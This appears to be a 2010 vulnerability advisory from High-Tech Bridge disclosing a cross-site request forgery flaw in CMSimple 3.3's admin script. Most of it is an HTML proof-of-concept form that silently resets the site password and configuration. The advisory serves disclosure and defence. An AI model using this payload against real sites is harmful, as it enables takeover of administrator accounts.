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Date: Mon, 16 Aug 2010 13:05:18 +0200 (CEST)
Subject: XSRF (CSRF) in CMSimple

Vulnerability ID: HTB22561
Product: CMSimple
Vendor: Peter Andreas Harteg ( ) 
Vulnerable Version: 3.3 and Probably Prior Versions
Vendor Notification: 02 August 2010 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing ( 

Vulnerability Details:
The vulnerability exists due to failure in the "/cmsimple/adm.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/" method="post"  name="main" >

<input type="hidden" name="security_password" value="newpassword" />
<input type="hidden" name="security_type" value="page" />
<input type="hidden" name="site_title" value='CMSimple site' />
<input type="hidden" name="site_template" value="default" />
<input type="hidden" name="language_default" value="ru" />
<input type="hidden" name="meta_keywords" value="CMSimple, Content Management System, php" />
<input type="hidden" name="meta_description" value="CMSimple is a content management system" />
<input type="hidden" name="backup_numberoffiles" value="5" />
<input type="hidden" name="images_maxsize" value="150000" />
<input type="hidden" name="downloads_maxsize" value="1000000" />
<input type="hidden" name="mailform_email=" value="" />
<input type="hidden" name="editor_height" value="(screen.availHeight)-400" />
<input type="hidden" name="editor_external" value="" />
<input type="hidden" name="menu_color" value="000000" />
<input type="hidden" name="menu_highlightcolor" value="808080" />
<input type="hidden" name="menu_levels" value="3" />
<input type="hidden" name="menu_levelcatch" value="10" />
<input type="hidden" name="menu_sdoc" value="" />
<input type="hidden" name="menu_legal" value="CMSimple Legal Notices" />
<input type="hidden" name="uri_seperator" value=":" />
<input type="hidden" name="uri_length" value="200" />
<input type="hidden" name="xhtml_endtags" value="" />
<input type="hidden" name="xhtml_amp" value="true" />
<input type="hidden" name="plugins_folder" value="" />
<input type="hidden" name="functions_file" value="functions.php" />
<input type="hidden" name="scripting_regexp" value="\#CMSimple (.*?)\#" />
<input type="hidden" name="form" value="array" />
<input type="hidden" name="file" value="config" />
<input type="hidden" name="action" value="save" />


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